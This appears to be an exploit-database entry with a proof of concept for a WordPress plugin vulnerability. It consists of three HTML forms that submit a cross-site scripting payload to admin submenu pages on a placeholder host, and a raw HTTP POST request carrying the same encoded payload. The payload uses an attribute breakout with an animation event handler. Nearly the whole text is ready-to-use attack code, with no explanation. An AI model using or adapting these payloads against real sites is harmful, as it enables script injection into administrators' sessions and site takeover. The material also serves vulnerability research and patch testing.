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## https://sploitus.com/exploit?id=WPEX-ID:09DB918F-ACD6-4499-91E3-3D0BB8FF1265
<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=sbb_my-custom-submenu-page" method="POST">
      <input type="hidden" name="page" value='" style=animation-name:rotation onanimationstart=alert(/XSS/)//' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=sbb_my-custom-submenu-page2" method="POST">
      <input type="hidden" name="page" value='" style=animation-name:rotation onanimationstart=alert(/XSS/)//' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=sbb_my-custom-submenu-page3" method="POST">
      <input type="hidden" name="page" value='" style=animation-name:rotation onanimationstart=alert(/XSS/)//' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


POST /wp-admin/admin.php?page=sbb_my-custom-submenu-page HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: [admin+]
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 88

page=%22%20style%3danimation-name%3arotation%20onanimationstart%3dalert(%2fXSS%2f)%2f%2f